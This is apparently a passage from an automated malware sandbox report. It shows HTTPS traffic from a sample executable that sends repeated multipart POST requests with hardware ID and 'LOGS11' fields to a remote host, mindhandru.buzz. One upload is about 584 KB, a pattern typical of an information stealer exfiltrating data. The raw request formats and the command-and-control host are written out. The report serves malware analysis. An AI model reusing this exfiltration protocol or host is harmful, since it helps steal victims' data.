{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=75wPylyyPvEZcfSvAb7jasNM1EvBWZLa4XlFg%2FXCzaY43Wyuf5GTeRLDFu4WDgDaZWwr%2FdxsazKH5r8WzzEHiynDyBpuMoNMWs3EdTsY1MIu19in4Txyb32zGGC9%2FcGOdY8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c660ef4e4338-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&min_rtt=1569&rtt_var=602&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13726&delivery_rate=1795817&cwnd=193&unsent_bytes=0&cid=c2659b3495173f57&ts=886&x=0"
2024-12-27 08:00:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:00:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49720	172.67.165.185	443	6188	C:\Users\user\Desktop\CAo57G5Cio.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:08 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HG62ZB8QPQ1T174Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15070 Host: mindhandru.buzz
2024-12-27 08:00:08 UTC	15070	OUT	Data Raw: 2d 2d 48 47 36 32 5a 42 38 51 50 51 31 54 31 37 34 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 36 43 41 44 35 33 31 30 41 35 46 43 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 48 47 36 32 5a 42 38 51 50 51 31 54 31 37 34 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 47 36 32 5a 42 38 51 50 51 31 54 31 37 34 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --HG62ZB8QPQ1T174YContent-Disposition: form-data; name="hwid"9C6CAD5310A5FC5EBEBA0C6A975F1733--HG62ZB8QPQ1T174YContent-Disposition: form-data; name="pid"2--HG62ZB8QPQ1T174YContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-27 08:00:09 UTC	1138	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=htlccaina5if38m4r74ehou9um; expires=Tue, 22 Apr 2025 01:46:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BMwMDbMyOfJ3qpDFpfyswrpPLwPFG2b7ZoqHw8dUah2domXW%2Biy%2F1bajBX%2FPq0XzvSmgu4338vtesFrP1Wtj%2BWpYx%2BSN1G%2BGSv38NhT7hIKywnseViBMohYk%2BftWkQW23M4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c6769a92435e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=51111&min_rtt=1801&rtt_var=29930&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2837&recv_bytes=16007&delivery_rate=1621321&cwnd=240&unsent_bytes=0&cid=95afca7786c33221&ts=856&x=0"
2024-12-27 08:00:09 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:00:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49724	172.67.165.185	443	6188	C:\Users\user\Desktop\CAo57G5Cio.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:10 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GF7KFGSOA2PXI1I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20389 Host: mindhandru.buzz
2024-12-27 08:00:10 UTC	15331	OUT	Data Raw: 2d 2d 47 46 37 4b 46 47 53 4f 41 32 50 58 49 31 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 36 43 41 44 35 33 31 30 41 35 46 43 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 47 46 37 4b 46 47 53 4f 41 32 50 58 49 31 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 47 46 37 4b 46 47 53 4f 41 32 50 58 49 31 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --GF7KFGSOA2PXI1IContent-Disposition: form-data; name="hwid"9C6CAD5310A5FC5EBEBA0C6A975F1733--GF7KFGSOA2PXI1IContent-Disposition: form-data; name="pid"3--GF7KFGSOA2PXI1IContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-27 08:00:10 UTC	5058	OUT	Data Raw: 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-27 08:00:12 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b9glmeja3oa580dpuvqquog9nf; expires=Tue, 22 Apr 2025 01:46:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kYWUEsdSmRKvf4kpA0I30V12vpsU%2FoODUxNOPQFd%2BVsE2BllWLEGwFxiQaLcZe6GV6PBE9dL0xBHgm%2BaLDA7uvwhxcLBU4HHgNs%2FF1aghrmdi0Hk5bzLgu4sVZVpsC4ClMs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c684a9988c27-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1812&min_rtt=1809&rtt_var=684&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21347&delivery_rate=1592148&cwnd=243&unsent_bytes=0&cid=720e2e00b77f7f57&ts=965&x=0"
2024-12-27 08:00:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:00:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49731	172.67.165.185	443	6188	C:\Users\user\Desktop\CAo57G5Cio.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:13 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YHDCBCOIFD6VYXUDLU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1237 Host: mindhandru.buzz
2024-12-27 08:00:13 UTC	1237	OUT	Data Raw: 2d 2d 59 48 44 43 42 43 4f 49 46 44 36 56 59 58 55 44 4c 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 36 43 41 44 35 33 31 30 41 35 46 43 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 59 48 44 43 42 43 4f 49 46 44 36 56 59 58 55 44 4c 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 48 44 43 42 43 4f 49 46 44 36 56 59 58 55 44 4c 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --YHDCBCOIFD6VYXUDLUContent-Disposition: form-data; name="hwid"9C6CAD5310A5FC5EBEBA0C6A975F1733--YHDCBCOIFD6VYXUDLUContent-Disposition: form-data; name="pid"1--YHDCBCOIFD6VYXUDLUContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-27 08:00:14 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kid922ol6avgmc1555kam33p2h; expires=Tue, 22 Apr 2025 01:46:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G5%2BNVNP5RcEMu%2FNR%2FfceRYzenKbDRtQ3jkzf%2Bqa62%2FqYl6SrHqXrA%2Fq20OKcEPLf5izQPB8UqucZIgd6ei4mpreTcN8NDDlwpF40h1yVfJx7umzebd5n3CfaJHNWX3%2BxSqw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c697c83c4232-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1612&min_rtt=1604&rtt_var=617&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2153&delivery_rate=1750599&cwnd=214&unsent_bytes=0&cid=2d59d60a6117bde1&ts=786&x=0"
2024-12-27 08:00:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:00:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49739	172.67.165.185	443	6188	C:\Users\user\Desktop\CAo57G5Cio.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:17 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EGWAT588DQI7G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584109 Host: mindhandru.buzz
2024-12-27 08:00:17 UTC	15331	OUT	Data Raw: 2d 2d 45 47 57 41 54 35 38 38 44 51 49 37 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 36 43 41 44 35 33 31 30 41 35 46 43 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 45 47 57 41 54 35 38 38 44 51 49 37 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 47 57 41 54 35 38 38 44 51 49 37 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 47 57 41 54 Data Ascii: --EGWAT588DQI7GContent-Disposition: form-data; name="hwid"9C6CAD5310A5FC5EBEBA0C6A975F1733--EGWAT588DQI7GContent-Disposition: form-data; name="pid"1--EGWAT588DQI7GContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--EGWAT
2024-12-27 08:00:17 UTC	15331	OUT	Data Raw: 9d 0a c8 f0 2b f5 06 a0 a5 45 25 95 a2 35 23 16 3f 28 70 01 24 3f 8d 8a 89 4d 58 df f1 8f 5b ef de eb cc f9 1b bb 10 ba 80 68 d4 a7 5b 52 5b f8 f9 ce 2a e2 0a 47 65 49 26 44 4c 3f 66 56 e8 4f cd 6f 27 55 33 2b c5 58 c2 87 44 57 79 c1 20 a7 17 b6 d7 69 35 9f 5d d1 de d7 2e ec e8 5c 8e 01 67 53 c7 b2 d6 0f b1 6c d0 06 16 e1 c4 47 0a 37 aa be 3b 9c e4 a2 db 5c d9 53 6d 82 49 43 10 6d ba 5e ad da b2 04 39 a2 27 46 85 66 27 d4 17 a7 c5 e9 94 6f a4 6f 46 8d e9 ec 66 4c 4a b8 bc 52 d6 8a f2 81 3d 3d 10 f5 3b 26 19 18 b5 c1 9c c4 c4 d3 87 1b d9 74 fd f0 73 51 7f cd 1f 6f d3 86 d0 8b 3e 6f 4e 43 e5 4d 5e 71 90 0b 4a 84 4e 7b 86 a0 b1 88 dd 0f 7e 80 1d 51 65 5c f4 fb e2 d4 a9 c1 7d 90 7d 64 d9 4e cb 1f ca 28 3b 1c 7e f1 17 dd 6f b9 4d 09 05 8b f7 9d fa a2 8e 56 04 Data Ascii: +E%5#?(p$?MX[h[R[*GeI&DL?fVOo'U3+XDWy i5].\gSlG7;\SmICm^9'Ff'ooFfLJR==;&tsQo>oNCM^qJN{~Qe\}}dN(;~oMV
2024-12-27 08:00:17 UTC	15331	OUT	Data Raw: d4 7e 50 bd 9d 9e 75 7a 46 ba 63 02 d5 38 4c c0 ce 78 60 3f ca 5b 8d c0 85 42 e3 b8 b9 a8 1c b5 54 96 f1 6a 29 2b 90 62 07 46 da 31 d1 fe 62 07 6f 1b 12 d4 1c c2 09 36 d3 06 22 a6 9a 69 ac 4e b0 ba 2a 35 1c a8 10 15 d8 8b ce 5e 31 5f 6e 4e 81 5d b7 7f 0c 50 ce 7b da 87 1b 36 86 b1 b3 39 81 df 9f dc 62 b8 80 2d e6 31 1c e2 c8 f5 3a 3c 33 e8 02 b1 aa 8c 6e e7 9f 7a 57 66 7e 03 2b fd b2 03 01 09 6b e0 4c 5e 87 be 41 88 c9 94 78 02 42 17 0d f7 72 3b 4f 55 b3 b4 7e 54 8c 2b be f4 b2 a3 0f ef 07 45 dc 6b 39 d5 62 9c 70 db 42 ab 81 16 04 73 70 b0 83 1f 4b 64 49 98 95 5b ca f2 e9 9b 25 67 a7 3f 0f 62 cb e0 56 1b 16 d8 ae db 69 46 e0 52 14 81 d2 f2 8a 55 3e 36 b2 9d 06 22 70 92 e1 81 0e a9 94 c8 20 6b 6c bd cf df 1e b8 20 e3 a5 c9 c3 53 7e c3 5b 4f 72 86 77 1d 9f Data Ascii: ~PuzFc8Lx`?[BTj)+bF1bo6"iN*5^1_nN]P{69b-1:<3nzWf~+kL^AxBr;OU~T+Ek9bpBspKdI[%g?bViFRU>6"p kl S~[Orw
2024-12-27 08:00:17 UTC	15331	OUT	Data Raw: 0d bc 8a 14 2b 70 38 0c 80 e7 df 75 71 96 7b 34 85 66 85 81 1a 77 ba 64 ff fa 51 50 2c 32 76 01 d0 52 ef 0f 91 8f 27 d2 34 dc e9 96 87 dd ea 00 25 a1 0c c8 41 94 8a 94 a9 f4 17 6a 2d cf f7 03 a3 a2 ec 93 01 00 3f ea 32 33 17 7f 0b 97 3c 45 09 8d a6 44 93 31 80 1f 19 8f 88 cb 06 d6 e3 5f 24 d9 33 b2 ca 24 11 2d 04 dd 2d d4 de 99 fc 40 58 0c c0 a6 f7 ad bd 14 4b d6 2a f4 9f fe 4c 67 0a 78 13 6a 82 98 07 5a af 9e 31 ce f3 9c bb f9 be 9c 1c c8 71 e1 83 23 61 17 21 d8 d5 55 08 09 44 d9 cb 69 a0 70 9c ee 60 8c a0 44 07 fa 6f 89 2c cc 0c 11 61 66 14 e3 f4 5d 71 25 f6 9f cb 4e c2 a6 7c ce 48 29 f5 4c f7 14 e5 13 54 43 5c 46 ee 05 39 e8 34 79 7e 56 2a fc 90 d6 82 6e fe c9 b1 7c 59 ff 54 ae 0d 10 29 06 65 dc 43 98 1b ee c8 b1 34 5a eb 7d 80 a3 61 e9 37 bf 44 ac de Data Ascii: +p8uq{4fwdQP,2vR'4%Aj-?23<ED1_$3$--@XKLgxjZ1q#a!UDip`Do,af]q%N\|H)LTC\F94y~Vn\|YT)eC4Z}a7D
2024-12-27 08:00:17 UTC	15331	OUT	Data Raw: 41 1f fd d5 92 a6 e6 96 dc 33 91 1c 22 2e f3 e6 84 76 ab ae c8 d6 3e 04 e2 b3 69 97 9d 73 78 d6 41 9c dc df d9 81 cc 27 54 9e f1 c8 a6 b7 9a dd 31 4d be 79 51 f0 48 bf 70 33 63 bf 14 61 a1 e7 0d 79 f6 1a 61 d0 0a a2 c6 04 4a 2e 89 48 8f 0d ef 70 cf 4c 67 98 fb e4 2c 10 e6 80 ed 1e 7a df ae b9 7f 3d 96 8e ff 3c 8e af b8 eb 4e e4 45 cc 05 3f 0e 41 83 32 94 1e 43 b4 3b 7e b1 5b b9 c9 90 66 60 46 96 61 ed 62 d7 6b f7 2a ac 3d 0a a0 95 cb 48 bd 0f a0 b7 1c 81 75 2e 9b a7 28 65 a8 ba 1b 4d e6 df 6e 08 71 52 12 fa 72 ef fc c5 d9 ac 76 17 75 64 d6 60 92 06 31 e6 ae 76 8b cb e0 04 b0 b5 a3 36 04 f3 6f 15 23 53 bd 6a a3 c3 1e db 28 f9 4d a1 c5 ab c4 ac d3 c2 6e 70 8e 0f 49 d6 e9 61 8c 0b 85 cb ec 20 79 cb de 69 e1 2f b2 1b 7d a2 cd 8c 3f 0f 08 34 7d 8a 41 a4 b1 1e Data Ascii: A3".v>isxA'T1MyQHp3cayaJ.HpLg,z=<NE?A2C;~[f`Fabk*=Hu.(eMnqRrvud`1v6o#Sj(MnpIa yi/}?4}A
2024-12-27 08:00:17 UTC	15331	OUT	Data Raw: f6 aa a7 47 5c 58 79 98 99 ef c0 d3 b4 b6 cb eb 1e 4f 22 81 97 93 26 70 53 e6 06 5b f5 53 95 60 3e c2 3f 4e 18 1e 7a e6 59 23 f3 91 bb 39 dd f6 8f a5 a1 8c 03 c1 64 87 78 21 67 ce 18 03 69 a4 7e 29 3f 81 5b c8 33 f2 65 d5 bb ea 72 f9 06 1b e6 17 a6 79 db 43 a7 94 2d 12 b5 13 d4 74 64 13 0e 1b 8e 1c 7b 67 4e 63 55 6f 9f 2d fb 30 af 7d 71 1c 23 1d 69 62 45 c9 64 34 0f fe a4 d1 ff c1 c3 64 0d da 12 06 55 e8 c8 ff 6d a4 9d 91 e4 5b bb ee c1 fa 17 49 2b 0e 5f 28 14 04 13 46 94 0c 28 b3 a3 71 fd 1d d6 a8 4e 09 84 7c 7c ad ff e2 a7 0c 75 9b 8f 76 93 56 78 5a 59 45 11 3a 34 83 47 5c b2 20 52 aa de d6 c2 f1 7a 99 05 33 94 34 1a d9 1d ed d1 b1 ea ac 40 eb 44 4b df 05 76 c0 9c 9c bb 90 04 ac 9e 45 74 2c 3a 3b d0 ac 30 dd 51 a9 61 58 b4 a6 08 c9 fa e8 f3 60 ab df cf Data Ascii: G\XyO"&pS[S`>?NzY#9dx!gi~)?[3eryC-td{gNcUo-0}q#ibEd4dUm[I+_(F(qN\|\|uvVxZYE:4G\ Rz34@DKvEt,:;0QaX`
2024-12-27 08:00:17 UTC	15331	OUT	Data Raw: bd 9b a3 3b c6 7a 59 a7 1b 35 de 7b 5f 20 d2 ba 2b bd de d7 4f 32 b3 92 2b 2d 55 5f e5 1f 4d cc ae 39 81 8d 5f 95 c9 79 eb f5 dc ba 35 54 13 ed 7e 88 5b a4 c6 3c a8 c6 97 65 ad 81 da 68 ff 9d 53 f7 b4 12 ca c9 28 ed 87 cc eb cc 12 76 e5 2d b7 4a 3e 70 e9 b7 55 08 ad f9 a0 c5 1d 6b 62 db a7 6e e4 10 5b cb 05 b2 f7 9c 5c af 68 61 ab 53 64 33 d3 dd 11 fb 56 b2 e3 2c 07 82 b1 8b 13 a8 52 34 b1 53 c2 1c 48 df dd 86 83 dd 1b 0c d0 ed 86 a7 ad 64 44 bc 2a 68 5f c2 25 20 92 b4 38 25 70 86 ce fa 6c 0a eb 75 ea df d3 dc 4f 7e 03 79 85 66 19 bc 67 09 6d 24 4b 3a e1 f8 a8 5c cb 6f 04 73 5c cb 2d f6 84 fb a0 d8 6c 7f 59 f0 57 c0 cc e8 17 43 32 95 cd 34 45 18 48 9d b3 86 e1 cc c2 81 aa 1e ba a1 44 a7 38 e7 b7 0e 4f 1c 84 05 d0 a0 cc 74 4f 7e 20 36 a6 76 b5 ba 7b a0 f0 Data Ascii: ;zY5{_ +O2+-U_M9_y5T~[<ehS(v-J>pUkbn[\haSd3V,R4SHdD*h_% 8%pluO~yfgm$K:\os\-lYWC24EHD8OtO~ 6v{
2024-12-27 08:00:17 UTC	15331	OUT	Data Raw: 54 82 8f 97 48 70 8e 22 6d 60 38 0f 62 63 6c b3 34 04 ae 5b 38 d8 2a 46 be 8a 9b ef 6c d3 65 6c ae ff 71 50 c4 9d 29 8e e6 d9 d7 33 f8 72 d6 24 ab 7e b5 78 6b 6e d9 4d 75 d1 9a c9 33 76 6f 93 42 79 68 71 af 72 a6 73 b1 5d 46 b4 9e 53 8a 97 b5 f3 7b 01 81 bc 6b a8 77 8c fa 56 89 62 6d ec 1b 9e bb 79 3a bc 77 b7 62 1f c3 32 75 e8 2c a2 53 36 01 f7 8c 7d d0 dc ec f9 69 ab 21 5c 33 60 aa d5 1c d0 bb 13 5f 47 69 15 6c 58 2f 36 9c 5f fb c6 74 b3 a4 45 1a 26 c2 fd df 44 31 7f 82 30 34 22 27 76 c7 f7 70 96 86 c4 53 20 c3 af f2 eb d8 d5 b7 b8 39 17 e7 39 0e 4f 47 ad af 10 6a 1e 16 3a f8 9e 35 0a ed ea e0 d8 f5 33 13 5e fa 24 7b 0f d5 2b 58 f7 05 25 6d 7e 5e 2c c2 08 6d 26 d0 0d 67 62 bc e6 ba de b5 a9 6b 70 ae 54 4f 67 7e 70 11 59 6c 6b 24 d1 aa 6d 32 e5 2f 9f 2d Data Ascii: THp"m`8bcl4[8*FlelqP)3r$~xknMu3voByhqrs]FS{kwVbmy:wb2u,S6}i!\3`_GilX/6_tE&D104"'vpS 99OGj:53^${+X%m~^,m&gbkpTOg~pYlk$m2/-
2024-12-27 08:00:17 UTC	15331	OUT	Data Raw: 9f 2c 1c 70 96 28 53 85 bc 91 29 06 b6 52 50 4b 07 95 b2 e8 d4 ba 95 5d 94 5c 04 79 98 95 fd ac 3e 24 60 bf 97 88 66 e5 dc a3 da cb d4 59 68 ba b0 bd e7 08 ca 4e a5 13 b3 43 bf cc 53 89 31 9b 20 da 1d 3e 4f c7 96 b9 c8 47 e7 7d 32 2b 96 68 30 a1 94 a2 ed 41 ae 0f e6 17 3b 4f 57 8b 4f 0c d4 49 e2 40 2e 2d 59 1b b6 fc ed de 30 a9 df 8a 92 19 49 6e 15 6a 10 eb ee c3 e7 63 94 25 88 84 09 b4 f8 c6 a2 9c 35 6d ed 97 bd 3d 31 f3 30 ae 5f ea f2 60 94 cb f7 0f 2e 19 bc e8 d4 e0 8a 66 ad 62 a6 4a 4b 87 2c 12 f2 04 b1 7e 01 ee 89 51 fb 0f e4 1f dd 35 b5 c0 fb 16 3a a8 0b 72 9d 60 1f 1c 7f 7c 17 93 97 4d 13 d0 ea 93 79 eb 87 be 56 42 f0 54 32 04 66 6c e6 37 f3 25 85 45 27 33 9f 11 d6 66 73 d3 a0 37 37 64 dc 26 3a 00 93 6f 1f d4 cb 3d 81 a2 67 08 9a 3b ad d5 da dc c5 Data Ascii: ,p(S)RPK]\y>$`fYhNCS1 >OG}2+h0A;OWOI@.-Y0Injc%5m=10_`.fbJK,~Q5:r`\|MyVBT2fl7%E'3fs77d&:o=g;
2024-12-27 08:00:17 UTC	15331	OUT	Data Raw: 09 06 25 08 88 a3 58 d6 87 02 f3 3e 0c 15 06 68 ef 4e af fa 65 bb 3c 39 3f 31 5f c5 ae 8c be df 6a c4 b8 1e d2 97 f5 7e 89 1d b0 7a 3f 0d 1a d2 9a e6 39 59 23 45 a5 7a 8f 41 6c 0c b8 55 c2 d2 13 84 d8 cc a5 5f ff 6f f1 98 07 0c 38 06 dc 70 6e 0a b4 99 12 c5 9c e7 9b 85 db cc a2 e9 39 ab 47 81 55 d5 cc 6c e6 ea 77 f8 a1 30 10 ed ca f5 ab df 97 0b 21 03 24 4b 3e 02 aa 91 89 ec 68 ed 9c 74 01 42 66 f9 e0 a6 e2 c3 3d bc 23 02 2a ce 5c a7 be 6d 86 a9 6e 8a fa de 22 b7 70 a1 f1 8b 5a a5 c3 b3 c7 47 04 6c cf 36 f1 72 a6 ce 7d de 21 5a ff 6e 14 96 71 e2 02 0e 12 6d 2e f1 79 16 ff 24 3c ed 86 1c 10 a0 1b 3e 96 04 af 5f 0a 0d ef 25 34 04 f3 30 ce 68 20 f5 61 9a c7 ad 7c 93 34 12 dd 1c 64 5e 44 81 2b 32 1c 9c 12 9a 09 13 79 81 a7 d1 19 90 ed 05 a0 b9 eb e3 c5 3f 84 Data Ascii: %X>hNe<9?1_j~z?9Y#EzAlU_o8pn9GUlw0!$K>htBf=#*\mn"pZGl6r}!Znqm.y$<>_%40h a\|4d^D+2y?
